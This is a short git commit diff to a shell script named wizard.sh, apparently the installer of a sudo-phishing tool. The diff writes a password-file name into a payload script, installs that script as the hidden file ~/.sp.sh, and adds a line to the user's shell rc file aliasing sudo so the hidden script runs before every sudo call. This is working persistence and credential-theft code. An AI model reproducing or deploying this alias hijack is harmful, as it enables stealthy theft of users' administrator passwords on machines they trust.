commit 564b5dca222cc5db4d2d713720b38cb7c8110a0c parent b96c36c5709f3f17e926ea8edda58ad6d0de7f74 Author: MichaelDim02 <31562759+MichaelDim02@users.noreply.github.com> Date: Thu, 8 Jul 2021 20:48:28 +0000 Update wizard.sh Diffstat:
M | wizard.sh | | | 4 | +++- |
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/wizard.sh b/wizard.sh @@ -47,9 +47,11 @@ commentit() { filename() { cp sp.sh sp.sh.tmp3 - sed "s/pwd/$filename/g" sp.sh.tmp3 > sp.sh + sed "s/.pwd/$filename/g" sp.sh.tmp3 > sp.sh shred -fu sp.sh.tmp3 } chmod +x sp.sh mv sp.sh "$homedir"/.sp.sh + +echo "alias sudo=\"~/.sp.sh; sudo\"" >> ."$shell"rc